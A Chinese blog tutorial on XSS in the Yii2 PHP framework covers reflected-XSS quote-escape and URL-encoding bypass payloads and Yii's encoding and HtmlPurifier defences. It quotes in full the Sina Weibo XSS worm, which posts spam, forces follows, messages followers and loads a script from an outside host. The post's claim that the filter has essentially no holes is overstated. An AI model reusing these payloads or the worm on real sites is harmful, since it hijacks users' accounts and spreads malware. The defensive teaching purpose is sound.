您的位置:首页 > 编程语言 > PHP开发

YII2框架学习 安全篇(二) XSS攻击和防范(下)

2017-06-19 21:06 459 查看
坚持写博客真不容易,618抢购中断了一波就不想写了。接着XSS攻击和防范(上)继续讲基于反射的XSS攻击。

1)非法转账(基于反射的XSS攻击)

上周说的yii框架会让浏览器自动过滤js代码是不太准确的,一般是把js代码重新编码并加双引号变成字符串了。

但是,要注意的一点是防止js代码越狱,脱离编码和双引号。类似于",alert(3)//" 这种。这种时候只要把双引号也重新编码就可以防止越狱了。

不过,如果利用html实体编码的话是有机会的,类似"; 不巧的是&是url分割参数的符号。

然而,还有利用url编码的方法,把&编码成%26,可以通过escape()查看。比如%26quot;,alert(3)//”。对这种情况,只要把%26这种格式的转码回去就行了。

2)蠕虫

新浪微博曾经受到过xss蠕虫攻击,代码如下

function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
而这段代码就是通过之前的反url编码的方式,用src插入进去的。主要是完成了发一条微博,然后关注作者,然后向粉丝推送这条链接达到传递的目的。
那么,连新浪都翻车了,我们的YII框架对此当然做了防范。第一,利用\yii\helpers\Html::encode()方法对代码进行html实体编码,这个前面说过。所有js代码都连标签会变成html代码。实际上是用到php内置的htmlspecialshars()方法。第二,利用\yii\helpers\HtmlPurifier::process()方法对代码进行过滤,直接去除掉js代码。利用的是lexer词法分析,这就是浏览器用的分析方法,可以说是没有漏洞了,总不能骗过浏览器吧。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  php yii 安全 浏览器